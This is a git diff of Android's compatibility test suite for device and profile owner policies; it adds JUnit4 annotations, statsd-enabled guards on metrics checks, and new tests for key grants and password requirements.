- "testAddDisallowAddManagedProfileRestriction",
- mPrimaryUserId);
- }
-
+ @Test
public void testTargetDeviceAdminServiceBound() throws Exception {
if (!mHasFeature) {
return;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index 059635a..9e605d6 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -17,10 +17,18 @@
package com.android.cts.devicepolicy;
import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
+import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.isStatsdEnabled;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import android.platform.test.annotations.FlakyTest;
+import android.platform.test.annotations.LargeTest;
import android.platform.test.annotations.RequiresDevice;
import android.stats.devicepolicy.EventId;
+import com.android.cts.devicepolicy.annotations.LockSettingsTest;
import com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier;
import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
import com.android.tradefed.device.DeviceNotAvailableException;
@@ -28,6 +36,8 @@
import com.google.common.collect.ImmutableMap;
+import org.junit.Test;
+
import java.io.File;
import java.io.FileNotFoundException;
import java.util.ArrayList;
@@ -152,7 +162,7 @@
"cmd netpolicy set restrict-background false";
// The following constants were copied from DevicePolicyManager
- private static final int PASSWORD_QUALITY_SOMETHING = 0x10000;
+ private static final int PASSWORD_QUALITY_COMPLEX = 0x60000;
private static final int KEYGUARD_DISABLE_FEATURES_NONE = 0;
private static final int KEYGUARD_DISABLE_FINGERPRINT = 1 << 5;
private static final int KEYGUARD_DISABLE_TRUST_AGENTS = 1 << 4;
@@ -175,7 +185,7 @@
protected int mUserId;
@Override
- protected void tearDown() throws Exception {
+ public void tearDown() throws Exception {
if (mHasFeature) {
getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
getDevice().uninstallPackage(PERMISSIONS_APP_PKG);
@@ -204,6 +214,7 @@
super.tearDown();
}
+ @Test
public void testCaCertManagement() throws Exception {
if (!mHasFeature) {
return;
@@ -211,8 +222,9 @@
executeDeviceTestClass(".CaCertManagementTest");
}
+ @Test
public void testInstallCaCertLogged() throws Exception {
- if (!mHasFeature) {
+ if (!mHasFeature || !isStatsdEnabled(getDevice())) {
return;
}
assertMetricsLogged(getDevice(), () -> {
@@ -227,6 +239,7 @@
.build());
}
+ @Test
public void testApplicationRestrictionIsRestricted() throws Exception {
if (!mHasFeature) {
return;
@@ -240,6 +253,7 @@
"testAssertCallerIsApplicationRestrictionsManagingPackage", mUserId);
}
+ @Test
public void testApplicationRestrictions() throws Exception {
if (!mHasFeature) {
return;
@@ -278,13 +292,15 @@
// The DPC should still be able to manage app restrictions normally.
executeDeviceTestClass(".ApplicationRestrictionsTest");
- assertMetricsLogged(getDevice(), () -> {
- executeDeviceTestMethod(".ApplicationRestrictionsTest",
- "testSetApplicationRestrictions");
- }, new DevicePolicyEventWrapper.Builder(EventId.SET_APPLICATION_RESTRICTIONS_VALUE)
- .setAdminPackageName(DEVICE_ADMIN_PKG)
- .setStrings(APP_RESTRICTIONS_TARGET_APP_PKG)
- .build());
+ if (isStatsdEnabled(getDevice())) {
+ assertMetricsLogged(getDevice(), () -> {
+ executeDeviceTestMethod(".ApplicationRestrictionsTest",
+ "testSetApplicationRestrictions");
+ }, new DevicePolicyEventWrapper.Builder(EventId.SET_APPLICATION_RESTRICTIONS_VALUE)
+ .setAdminPackageName(DEVICE_ADMIN_PKG)
+ .setStrings(APP_RESTRICTIONS_TARGET_APP_PKG)
+ .build());
+ }
} finally {
changeApplicationRestrictionsManagingPackage(null);
}
@@ -359,6 +375,7 @@
* Add the delegation scope to {@code DelegationTest#testExclusiveDelegations} to test that
* the scope can only be delegatd to one app at a time.
*/
+ @Test
public void testDelegation() throws Exception {
if (!mHasFeature) {
return;
@@ -394,6 +411,7 @@
}
}
+ @Test
public void testDelegationCertSelection() throws Exception {
if (!mHasFeature) {
return;
@@ -411,6 +429,7 @@
.build());
}
+ @Test
public void testPermissionGrant() throws Exception {
if (!mHasFeature) {
return;
@@ -419,6 +438,7 @@
executeDeviceTestMethod(".PermissionsTest", "testPermissionGrantState");
}
+ @Test
public void testPermissionGrant_developmentPermission() throws Exception {
if (!mHasFeature) {
return;
@@ -437,6 +457,7 @@
* network rules for this user will affect UID 0.
*/
@RequiresDevice
+ @Test
public void testAlwaysOnVpn() throws Exception {
if (!mHasFeature) {
return;
@@ -446,6 +467,7 @@
}
@RequiresDevice
+ @Test
public void testAlwaysOnVpnLockDown() throws Exception {
if (!mHasFeature) {
return;
@@ -462,6 +484,7 @@
}
@RequiresDevice
+ @Test
public void testAlwaysOnVpnAcrossReboot() throws Exception {
if (!mHasFeature) {
return;
@@ -480,6 +503,7 @@
}
@RequiresDevice
+ @Test
public void testAlwaysOnVpnPackageUninstalled() throws Exception {
if (!mHasFeature) {
return;
@@ -497,6 +521,7 @@
}
@RequiresDevice
+ @Test
public void testAlwaysOnVpnUnsupportedPackage() throws Exception {
if (!mHasFeature) {
return;
@@ -521,6 +546,7 @@
}
@RequiresDevice
+ @Test
public void testAlwaysOnVpnUnsupportedPackageReplaced() throws Exception {
if (!mHasFeature) {
return;
@@ -540,8 +566,9 @@
}
@RequiresDevice
+ @Test
public void testAlwaysOnVpnPackageLogged() throws Exception {
- if (!mHasFeature) {
+ if (!mHasFeature || !isStatsdEnabled(getDevice())) {
return;
}
// Will be uninstalled in tearDown().
@@ -556,6 +583,7 @@
.build());
}
+ @Test
public void testPermissionPolicy() throws Exception {
if (!mHasFeature) {
return;
@@ -564,6 +592,16 @@
executeDeviceTestMethod(".PermissionsTest", "testPermissionPolicy");
}
+ @Test
+ public void testAutoGrantMultiplePermissionsInGroup() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+ installAppPermissionAppAsUser();
+ executeDeviceTestMethod(".PermissionsTest", "testAutoGrantMultiplePermissionsInGroup");
+ }
+
+ @Test
public void testPermissionMixedPolicies() throws Exception {
if (!mHasFeature) {
return;
@@ -572,6 +610,7 @@
executeDeviceTestMethod(".PermissionsTest", "testPermissionMixedPolicies");
}
+ @Test
public void testPermissionGrantOfDisallowedPermissionWhileOtherPermIsGranted()
throws Exception {
if (!mHasFeature) {
@@ -583,6 +622,7 @@
}
// Test flakey; suppressed.
+// @Test
// public void testPermissionPrompts() throws Exception {
// if (!mHasFeature) {
// return;
@@ -591,6 +631,7 @@
// executeDeviceTestMethod(".PermissionsTest", "testPermissionPrompts");
// }
+ @Test
public void testPermissionAppUpdate() throws Exception {
if (!mHasFeature) {
return;
@@ -623,6 +664,7 @@
executeDeviceTestMethod(".PermissionsTest", "testPermissionUpdate_checkGranted");
}
+ @Test
public void testPermissionGrantPreMApp() throws Exception {
if (!mHasFeature) {
return;
@@ -631,21 +673,25 @@
executeDeviceTestMethod(".PermissionsTest", "testPermissionGrantStatePreMApp");
}
+ @Test
public void testPersistentIntentResolving() throws Exception {
if (!mHasFeature) {
return;
}
executeDeviceTestClass(".PersistentIntentResolvingTest");
- assertMetricsLogged(getDevice(), () -> {
- executeDeviceTestMethod(".PersistentIntentResolvingTest",
- "testAddPersistentPreferredActivityYieldsReceptionAtTarget");
- }, new DevicePolicyEventWrapper.Builder(EventId.ADD_PERSISTENT_PREFERRED_ACTIVITY_VALUE)
+ if (isStatsdEnabled(getDevice())) {
+ assertMetricsLogged(getDevice(), () -> {
+ executeDeviceTestMethod(".PersistentIntentResolvingTest",
+ "testAddPersistentPreferredActivityYieldsReceptionAtTarget");
+ }, new DevicePolicyEventWrapper.Builder(EventId.ADD_PERSISTENT_PREFERRED_ACTIVITY_VALUE)
.setAdminPackageName(DEVICE_ADMIN_PKG)
.setStrings(DEVICE_ADMIN_PKG,
"com.android.cts.deviceandprofileowner.EXAMPLE_ACTION")
.build());
+ }
}
+ @Test
public void testScreenCaptureDisabled() throws Exception {
if (!mHasFeature) {
return;
@@ -668,6 +714,7 @@
.build());
}
+ @Test
public void testScreenCaptureDisabled_assist() throws Exception {
if (!mHasFeature) {
return;
@@ -683,35 +730,41 @@
}
}
+ @Test
public void testSupportMessage() throws Exception {
if (!mHasFeature) {
return;
}
executeDeviceTestClass(".SupportMessageTest");
- assertMetricsLogged(getDevice(), () -> {
- executeDeviceTestMethod(
- ".SupportMessageTest", "testShortSupportMessageSetGetAndClear");
- }, new DevicePolicyEventWrapper.Builder(EventId.SET_SHORT_SUPPORT_MESSAGE_VALUE)
+ if (isStatsdEnabled(getDevice())) {
+ assertMetricsLogged(getDevice(), () -> {
+ executeDeviceTestMethod(
+ ".SupportMessageTest", "testShortSupportMessageSetGetAndClear");
+ }, new DevicePolicyEventWrapper.Builder(EventId.SET_SHORT_SUPPORT_MESSAGE_VALUE)
.setAdminPackageName(DEVICE_ADMIN_PKG)
.build());
- assertMetricsLogged(getDevice(), () -> {
- executeDeviceTestMethod(".SupportMessageTest", "testLongSupportMessageSetGetAndClear");
- }, new DevicePolicyEventWrapper.Builder(EventId.SET_LONG_SUPPORT_MESSAGE_VALUE)
+ assertMetricsLogged(getDevice(), () -> {
+ executeDeviceTestMethod(".SupportMessageTest",
+ "testLongSupportMessageSetGetAndClear");
+ }, new DevicePolicyEventWrapper.Builder(EventId.SET_LONG_SUPPORT_MESSAGE_VALUE)
.setAdminPackageName(DEVICE_ADMIN_PKG)
.build());
+ }
}
+ @Test
public void testApplicationHidden() throws Exception {
if (!mHasFeature) {
return;
}
installAppPermissionAppAsUser();
executeDeviceTestClass(".ApplicationHiddenTest");
- installAppAsUser(PERMISSIONS_APP_APK, mUserId);
- assertMetricsLogged(getDevice(), () -> {
- executeDeviceTestMethod(".ApplicationHiddenTest",
- "testSetApplicationHidden");
- }, new DevicePolicyEventWrapper.Builder(EventId.SET_APPLICATION_HIDDEN_VALUE)
+ if (isStatsdEnabled(getDevice())) {
+ installAppAsUser(PERMISSIONS_APP_APK, mUserId);
+ assertMetricsLogged(getDevice(), () -> {
+ executeDeviceTestMethod(".ApplicationHiddenTest",
+ "testSetApplicationHidden");
+ }, new DevicePolicyEventWrapper.Builder(EventId.SET_APPLICATION_HIDDEN_VALUE)
.setAdminPackageName(DEVICE_ADMIN_PKG)
.setBoolean(false)
.setStrings(PERMISSIONS_APP_PKG, "hidden")
@@ -721,8 +774,10 @@
.setBoolean(false)
.setStrings(PERMISSIONS_APP_PKG, "not_hidden")
.build());
+ }
}
+ @Test
public void testAccountManagement_deviceAndProfileOwnerAlwaysAllowed() throws Exception {
if (!mHasFeature) {
return;
@@ -732,6 +787,7 @@
executeDeviceTestClass(".AllowedAccountManagementTest");
}
+ @Test
public void testAccountManagement_userRestrictionAddAccount() throws Exception {
if (!mHasFeature) {
return;
@@ -748,6 +804,7 @@
executeAccountTest("testAddAccount_allowed");
}
+ @Test
public void testAccountManagement_userRestrictionRemoveAccount() throws Exception {
if (!mHasFeature) {
return;
@@ -764,6 +821,7 @@
executeAccountTest("testRemoveAccount_allowed");
}
+ @Test
public void testAccountManagement_disabledAddAccount() throws Exception {
if (!mHasFeature) {
return;
@@ -780,6 +838,7 @@
executeAccountTest("testAddAccount_allowed");
}
+ @Test
public void testAccountManagement_disabledRemoveAccount() throws Exception {
if (!mHasFeature) {
return;
@@ -796,6 +855,7 @@
executeAccountTest("testRemoveAccount_allowed");
}
+ @Test
public void testDelegatedCertInstaller() throws Exception {
if (!mHasFeature) {
return;
@@ -807,13 +867,15 @@
runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".DelegatedCertInstallerTest", mUserId);
- assertMetricsLogged(getDevice(), () -> {
+ if (isStatsdEnabled(getDevice())) {
+ assertMetricsLogged(getDevice(), () -> {
runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".DelegatedCertInstallerTest",
"testInstallKeyPair", mUserId);
- }, new DevicePolicyEventWrapper.Builder(EventId.SET_CERT_INSTALLER_PACKAGE_VALUE)
- .setAdminPackageName(DEVICE_ADMIN_PKG)
- .setStrings(CERT_INSTALLER_PKG)
- .build());
+ }, new DevicePolicyEventWrapper.Builder(EventId.SET_CERT_INSTALLER_PACKAGE_VALUE)
+ .setAdminPackageName(DEVICE_ADMIN_PKG)
+ .setStrings(CERT_INSTALLER_PKG)
+ .build());
+ }
}
public interface DelegatedCertInstallerTestAction {
@@ -838,6 +900,7 @@
// This test currently duplicates the testDelegatedCertInstaller, with one difference:
// The Delegated cert installer app is called directly rather than via intents from
// the DelegatedCertinstallerTest.
+ @Test
public void testDelegatedCertInstallerDirectly() throws Exception {
if (!mHasFeature) {
return;
@@ -848,8 +911,40 @@
".DirectDelegatedCertInstallerTest", mUserId));
}
+ // This test generates a key pair and validates that an app can be silently granted
+ // access to it.
+ @Test
+ public void testSetKeyGrant() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+
+ // Install an app
+ installAppAsUser(CERT_INSTALLER_APK, mUserId);
+
+ try {
+ // First, generate a key and grant the cert installer access to it.
+ runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".DelegatedCertInstallerHelper",
+ "testManualGenerateKeyAndGrantAccess", mUserId);
+ // Test the key is usable.
+ runDeviceTestsAsUser("com.android.cts.certinstaller",
+ ".PreSelectedKeyAccessTest", "testAccessingPreSelectedAliasExpectingSuccess",
+ mUserId);
+ // Remove the grant
+ runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".DelegatedCertInstallerHelper",
+ "testManualRemoveKeyGrant", mUserId);
+ // Run another test to make sure the app no longer has access to the key.
+ runDeviceTestsAsUser("com.android.cts.certinstaller",
+ ".PreSelectedKeyAccessTest", "testAccessingPreSelectedAliasWithoutGrant", mUserId);
+ } finally {
+ runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".DelegatedCertInstallerHelper",
+ "testManualClearGeneratedKey", mUserId);
+ }
+ }
+
// Sets restrictions and launches non-admin app, that tries to set wallpaper.
// Non-admin apps must not violate any user restriction.
+ @Test
public void testSetWallpaper_disallowed() throws Exception {
// UserManager.DISALLOW_SET_WALLPAPER
final String DISALLOW_SET_WALLPAPER = "no_set_wallpaper";
@@ -874,6 +969,7 @@
// Runs test with admin privileges. The test methods set all the tested restrictions
// inside. But these restrictions must have no effect on the device/profile owner behavior.
+ @Test
public void testDisallowSetWallpaper_allowed() throws Exception {
if (!mHasFeature) {
return;
@@ -886,6 +982,7 @@
"testDisallowSetWallpaper_allowed");
}
+ @Test
public void testDisallowAutofill_allowed() throws Exception {
if (!mHasFeature) {
return;
@@ -900,6 +997,7 @@
"testDisallowAutofill_allowed");
}
+ @Test
public void testDisallowContentCapture_allowed() throws Exception {
if (!mHasFeature) {
return;
@@ -921,6 +1019,7 @@
}
}
+ @Test
public void testDisallowContentSuggestions_allowed() throws Exception {
if (!mHasFeature) {
return;
@@ -955,6 +1054,7 @@
"cmd content_capture set default-service-enabled " + mUserId + " " + enabled);
}
+ @Test
public void testSetMeteredDataDisabledPackages() throws Exception {
if (!mHasFeature) {
return;
@@ -964,6 +1064,7 @@
executeDeviceTestClass(".MeteredDataRestrictionTest");
}
+ @Test
public void testPackageInstallUserRestrictions() throws Exception {
if (!mHasFeature) {
return;
@@ -977,13 +1078,9 @@
// UserManager.DISALLOW_INSTALL_UNKNOWN_SOURCES_GLOBALLY
final String DISALLOW_INSTALL_UNKNOWN_SOURCES_GLOBALLY =
"no_install_unknown_sources_globally";
- final String PACKAGE_VERIFIER_USER_CONSENT_SETTING = "package_verifier_user_consent";
- final String PACKAGE_VERIFIER_ENABLE_SETTING = "package_verifier_enable";
final String SECURE_SETTING_CATEGORY = "secure";
final String GLOBAL_SETTING_CATEGORY = "global";
final File apk = mBuildHelper.getTestFile(TEST_APP_APK);
- String packageVerifierEnableSetting = null;
- String packageVerifierUserConsentSetting = null;
try {
// Install the test and prepare the test apk.
installAppAsUser(PACKAGE_INSTALLER_APK, mUserId);
@@ -1007,17 +1104,6 @@
// Clear global restriction and test if we can install the apk.
changeUserRestrictionOrFail(DISALLOW_INSTALL_UNKNOWN_SOURCES_GLOBALLY, false, mUserId);
-
- // Disable verifier.
- packageVerifierUserConsentSetting = getSettings(SECURE_SETTING_CATEGORY,
- PACKAGE_VERIFIER_USER_CONSENT_SETTING, mUserId);
- packageVerifierEnableSetting = getSettings(GLOBAL_SETTING_CATEGORY,
- PACKAGE_VERIFIER_ENABLE_SETTING, mUserId);
-
- putSettings(SECURE_SETTING_CATEGORY, PACKAGE_VERIFIER_USER_CONSENT_SETTING, "-1",
- mUserId);
- putSettings(GLOBAL_SETTING_CATEGORY, PACKAGE_VERIFIER_ENABLE_SETTING, "0", mUserId);
- // Skip verifying above setting values as some of them may be overrided.
runDeviceTestsAsUser(PACKAGE_INSTALLER_PKG, ".ManualPackageInstallTest",
"testManualInstallSucceeded", mUserId);
} finally {
@@ -1026,17 +1112,10 @@
getDevice().executeShellCommand(command);
getDevice().uninstallPackage(TEST_APP_PKG);
getDevice().uninstallPackage(PACKAGE_INSTALLER_PKG);
- if (packageVerifierEnableSetting != null) {
- putSettings(GLOBAL_SETTING_CATEGORY, PACKAGE_VERIFIER_ENABLE_SETTING,
- packageVerifierEnableSetting, mUserId);
- }
- if (packageVerifierUserConsentSetting != null) {
- putSettings(SECURE_SETTING_CATEGORY, PACKAGE_VERIFIER_USER_CONSENT_SETTING,
- packageVerifierUserConsentSetting, mUserId);
- }
}
}
+ @Test
public void testAudioRestriction() throws Exception {
if (!mHasFeature) {
return;
@@ -1050,8 +1129,9 @@
}
}
+ @Test
public void testDisallowAdjustVolumeMutedLogged() throws Exception {
- if (!mHasFeature) {
+ if (!mHasFeature || !isStatsdEnabled(getDevice())) {
return;
}
assertMetricsLogged(getDevice(), () -> {
@@ -1067,6 +1147,8 @@
.build());
}
+ @FlakyTest(bugId = 132226089)
+ @Test
public void testLockTask() throws Exception {
if (!mHasFeature) {
return;
@@ -1074,14 +1156,17 @@
try {
installAppAsUser(INTENT_RECEIVER_APK, mUserId);
executeDeviceTestClass(".LockTaskTest");
- assertMetricsLogged(
- getDevice(),
- () -> executeDeviceTestMethod(".LockTaskTest", "testStartLockTask"),
- new DevicePolicyEventWrapper.Builder(EventId.SET_LOCKTASK_MODE_ENABLED_VALUE)
- .setAdminPackageName(DEVICE_ADMIN_PKG)
- .setBoolean(true)
- .setStrings(DEVICE_ADMIN_PKG)
- .build());
+ if (isStatsdEnabled(getDevice())) {
+ assertMetricsLogged(
+ getDevice(),
+ () -> executeDeviceTestMethod(".LockTaskTest", "testStartLockTask"),
+ new DevicePolicyEventWrapper.Builder(
+ EventId.SET_LOCKTASK_MODE_ENABLED_VALUE)
+ .setAdminPackageName(DEVICE_ADMIN_PKG)
+ .setBoolean(true)
+ .setStrings(DEVICE_ADMIN_PKG)
+ .build());
+ }
} catch (AssertionError ex) {
// STOPSHIP(b/32771855), remove this once we fixed the bug.
executeShellCommand("dumpsys activity activities");
@@ -1093,6 +1178,8 @@
}
}
+ @LargeTest
+ @Test
public void testLockTaskAfterReboot() throws Exception {
if (!mHasFeature) {
return;
@@ -1113,6 +1200,8 @@
}
}
+ @LargeTest
+ @Test
public void testLockTaskAfterReboot_tryOpeningSettings() throws Exception {
if (!mHasFeature) {
return;
@@ -1136,6 +1225,7 @@
}
}
+ @Test
public void testLockTask_defaultDialer() throws Exception {
if (!mHasFeature || !mHasTelephony) {
return;
@@ -1148,6 +1238,7 @@
}
}
+ @Test
public void testLockTask_emergencyDialer() throws Exception {
if (!mHasFeature || !mHasTelephony) {
return;
@@ -1160,6 +1251,7 @@
}
}
+ @Test
public void testLockTask_exitIfNoLongerWhitelisted() throws Exception {
if (!mHasFeature) {
return;
@@ -1172,6 +1264,8 @@
}
}
+ @FlakyTest(bugId = 141314026)
+ @Test
public void testSuspendPackage() throws Exception {
if (!mHasFeature) {
return;
@@ -1199,6 +1293,8 @@
executeDeviceTestMethod(".SuspendPackageTest", "testSuspendNotSuspendablePackages");
}
+ @FlakyTest(bugId = 141314026)
+ @Test
public void testSuspendPackageWithPackageManager() throws Exception {
if (!mHasFeature) {
return;
@@ -1212,11 +1308,13 @@
executeSuspendPackageTestMethod("testPackageSuspendedWithPackageManager");
// Undo the suspend.
- executeDeviceTestMethod(".SuspendPackageTest", "testSetPackagesNotSuspended");
+ executeDeviceTestMethod(".SuspendPackageTest",
+ "testSetPackagesNotSuspendedWithPackageManager");
// Verify that the package is not suspended from the PREVIOUS test and that the app launches
executeSuspendPackageTestMethod("testPackageNotSuspended");
}
+ @Test
public void testTrustAgentInfo() throws Exception {
if (!mHasFeature || !mHasSecureLockScreen) {
return;
@@ -1224,6 +1322,8 @@
executeDeviceTestClass(".TrustAgentInfoTest");
}
+ @FlakyTest(bugId = 141161038)
+ @Test
public void testCannotRemoveUserIfRestrictionSet() throws Exception {
// Outside of the primary user, setting DISALLOW_REMOVE_USER would not work.
if (!mHasFeature || !canCreateAdditionalUsers(1) || mUserId != getPrimaryUser()) {
@@ -1239,6 +1339,7 @@
}
}
+ @Test
public void testCannotEnableOrDisableDeviceOwnerOrProfileOwner() throws Exception {
if (!mHasFeature) {
return;
@@ -1264,6 +1365,7 @@
}
+ @Test
public void testRequiredStrongAuthTimeout() throws Exception {
if (!mHasFeature || !mHasSecureLockScreen) {
return;
@@ -1271,6 +1373,7 @@
executeDeviceTestClass(".RequiredStrongAuthTimeoutTest");
}
+ @Test
public void testCreateAdminSupportIntent() throws Exception {
if (!mHasFeature) {
return;
@@ -1278,8 +1381,9 @@
executeDeviceTestClass(".PolicyTransparencyTest");
}
+ @Test
public void testSetCameraDisabledLogged() throws Exception {
- if (!mHasFeature) {
+ if (!mHasFeature || !isStatsdEnabled(getDevice())) {
return;
}
assertMetricsLogged(getDevice(), () -> {
@@ -1294,6 +1398,17 @@
.build());
}
+ /** Test for resetPassword for all devices. */
+ @Test
+ public void testResetPasswordDeprecated() throws Exception {
+ if (!mHasFeature || !mHasSecureLockScreen) {
+ return;
+ }
+ executeDeviceTestMethod(".ResetPasswordTest", "testResetPasswordDeprecated");
+ }
+
+ @LockSettingsTest
+ @Test
public void testResetPasswordWithToken() throws Exception {
if (!mHasFeature || !mHasSecureLockScreen) {
return;
@@ -1308,6 +1423,7 @@
executeResetPasswordWithTokenTests(true);
}
+ @Test
public void testPasswordSufficientInitially() throws Exception {
if (!mHasFeature) {
return;
@@ -1315,6 +1431,21 @@
executeDeviceTestClass(".PasswordSufficientInitiallyTest");
}
+ @Test
+ public void testPasswordRequirementsApi() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+
+ executeDeviceTestMethod(".PasswordRequirementsTest",
+ "testSettingConstraintsWithLowQualityThrowsOnRPlus");
+ executeDeviceTestMethod(".PasswordRequirementsTest",
+ "testSettingConstraintsWithNumericQualityOnlyLengthAllowedOnRPlus");
+ executeDeviceTestMethod(".PasswordRequirementsTest",
+ "testSettingConstraintsWithComplexQualityAndResetWithLowerQuality");
+ }
+
+ @Test
public void testGetCurrentFailedPasswordAttempts() throws Exception {
if (!mHasFeature || !mHasSecureLockScreen) {
return;
@@ -1347,6 +1478,7 @@
}
}
+ @Test
public void testPasswordExpiration() throws Exception {
if (!mHasFeature || !mHasSecureLockScreen) {
return;
@@ -1354,6 +1486,7 @@
executeDeviceTestClass(".PasswordExpirationTest");
}
+ @Test
public void testGetPasswordExpiration() throws Exception {
if (!mHasFeature || !mHasSecureLockScreen) {
return;
@@ -1373,6 +1506,7 @@
}
}
+ @Test
public void testPasswordQualityWithoutSecureLockScreen() throws Exception {
if (!mHasFeature || mHasSecureLockScreen) {
return;
@@ -1381,6 +1515,7 @@
runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".UnavailableSecureLockScreenTest", mUserId);
}
+ @Test
public void testSetSystemSetting() throws Exception {
if (!mHasFeature) {
return;
@@ -1393,6 +1528,7 @@
Collections.singletonMap(ARG_ALLOW_FAILURE, Boolean.toString(allowFailures)));
}
+ @Test
public void testClearApplicationData_testPkg() throws Exception {
if (!mHasFeature) {
return;
@@ -1405,6 +1541,7 @@
"testSharedPreferenceCleared", mUserId);
}
+ @Test
public void testClearApplicationData_deviceProvisioning() throws Exception {
if (!mHasFeature) {
return;
@@ -1414,6 +1551,7 @@
"testClearApplicationData_deviceProvisioning");
}
+ @Test
public void testClearApplicationData_activeAdmin() throws Exception {
if (!mHasFeature) {
return;
@@ -1423,6 +1561,7 @@
"testClearApplicationData_activeAdmin");
}
+ @Test
public void testPrintingPolicy() throws Exception {
if (!mHasFeature) {
return;
@@ -1435,6 +1574,7 @@
runDeviceTestsAsUser(DEVICE_ADMIN_PKG, className, mUserId);
}
+ @Test
public void testKeyManagement() throws Exception {
if (!mHasFeature) {
return;
@@ -1443,8 +1583,9 @@
executeDeviceTestClass(".KeyManagementTest");
}
+ @Test
public void testInstallKeyPairLogged() throws Exception {
- if (!mHasFeature) {
+ if (!mHasFeature || !isStatsdEnabled(getDevice())) {
return;
}
@@ -1460,8 +1601,9 @@
.build());
}
+ @Test
public void testGenerateKeyPairLogged() throws Exception {
- if (!mHasFeature) {
+ if (!mHasFeature || !isStatsdEnabled(getDevice())) {
return;
}
@@ -1483,8 +1625,9 @@
}
+ @Test
public void testSetKeyPairCertificateLogged() throws Exception {
- if (!mHasFeature) {
+ if (!mHasFeature || !isStatsdEnabled(getDevice())) {
return;
}
@@ -1496,16 +1639,18 @@
.build());
}
+ @Test
public void testPermittedAccessibilityServices() throws Exception {
if (!mHasFeature) {
return;
}
executeDeviceTestClass(".AccessibilityServicesTest");
- assertMetricsLogged(getDevice(), () -> {
- executeDeviceTestMethod(".AccessibilityServicesTest",
- "testPermittedAccessibilityServices");
- }, new DevicePolicyEventWrapper
+ if (isStatsdEnabled(getDevice())) {
+ assertMetricsLogged(getDevice(), () -> {
+ executeDeviceTestMethod(".AccessibilityServicesTest",
+ "testPermittedAccessibilityServices");
+ }, new DevicePolicyEventWrapper
.Builder(EventId.SET_PERMITTED_ACCESSIBILITY_SERVICES_VALUE)
.setAdminPackageName(DEVICE_ADMIN_PKG)
.setStrings((String[]) null)
@@ -1520,18 +1665,20 @@
.setAdminPackageName(DEVICE_ADMIN_PKG)
.setStrings("com.google.pkg.one", "com.google.pkg.two")
.build());
+ }
}
+ @Test
public void testPermittedInputMethods() throws Exception {
if (!mHasFeature) {
return;
}
executeDeviceTestClass(".InputMethodsTest");
- assertMetricsLogged(getDevice(), () -> {
- executeDeviceTestMethod(".InputMethodsTest",
- "testPermittedInputMethods");
- }, new DevicePolicyEventWrapper.Builder(EventId.SET_PERMITTED_INPUT_METHODS_VALUE)
+ if (isStatsdEnabled(getDevice())) {
+ assertMetricsLogged(getDevice(), () -> {
+ executeDeviceTestMethod(".InputMethodsTest", "testPermittedInputMethods");
+ }, new DevicePolicyEventWrapper.Builder(EventId.SET_PERMITTED_INPUT_METHODS_VALUE)
.setAdminPackageName(DEVICE_ADMIN_PKG)
.setStrings((String[]) null)
.build(),
@@ -1543,8 +1690,10 @@
.setAdminPackageName(DEVICE_ADMIN_PKG)
.setStrings("com.google.pkg.one", "com.google.pkg.two")
.build());
+ }
}
+ @Test
public void testSetStorageEncryption() throws Exception {
if (!mHasFeature) {
return;
@@ -1555,8 +1704,9 @@
DEVICE_ADMIN_PKG, STORAGE_ENCRYPTION_TEST_CLASS, null, mUserId, params);
}
+ @Test
public void testPasswordMethodsLogged() throws Exception {
- if (!mHasFeature) {
+ if (!mHasFeature || !isStatsdEnabled(getDevice())) {
return;
}
@@ -1564,7 +1714,7 @@
executeDeviceTestMethod(".DevicePolicyLoggingTest", "testPasswordMethodsLogged");
}, new DevicePolicyEventWrapper.Builder(EventId.SET_PASSWORD_QUALITY_VALUE)
.setAdminPackageName(DEVICE_ADMIN_PKG)
- .setInt(PASSWORD_QUALITY_SOMETHING)
+ .setInt(PASSWORD_QUALITY_COMPLEX)
.setBoolean(false)
.build(),
new DevicePolicyEventWrapper.Builder(EventId.SET_PASSWORD_MINIMUM_LENGTH_VALUE)
@@ -1597,8 +1747,9 @@
.build());
}
+ @Test
public void testLockNowLogged() throws Exception {
- if (!mHasFeature) {
+ if (!mHasFeature || !isStatsdEnabled(getDevice())) {
return;
}
assertMetricsLogged(getDevice(), () -> {
@@ -1609,8 +1760,9 @@
.build());
}
+ @Test
public void testSetKeyguardDisabledFeaturesLogged() throws Exception {
- if (!mHasFeature) {
+ if (!mHasFeature || !isStatsdEnabled(getDevice())) {
return;
}
assertMetricsLogged(getDevice(), () -> {
@@ -1638,8 +1790,9 @@
.build());
}
+ @Test
public void testSetUserRestrictionLogged() throws Exception {
- if (!mHasFeature) {
+ if (!mHasFeature || !isStatsdEnabled(getDevice())) {
return;
}
assertMetricsLogged(getDevice(), () -> {
@@ -1672,8 +1825,9 @@
);
}
+ @Test
public void testSetSecureSettingLogged() throws Exception {
- if (!mHasFeature) {
+ if (!mHasFeature || !isStatsdEnabled(getDevice())) {
return;
}
assertMetricsLogged(getDevice(), () -> {
@@ -1698,8 +1852,9 @@
.build());
}
+ @Test
public void testSetPermissionPolicyLogged() throws Exception {
- if (!mHasFeature) {
+ if (!mHasFeature || !isStatsdEnabled(getDevice())) {
return;
}
assertMetricsLogged(getDevice(), () -> {
@@ -1722,8 +1877,9 @@
.build());
}
+ @Test
public void testSetPermissionGrantStateLogged() throws Exception {
- if (!mHasFeature) {
+ if (!mHasFeature || !isStatsdEnabled(getDevice())) {
return;
}
installAppPermissionAppAsUser();
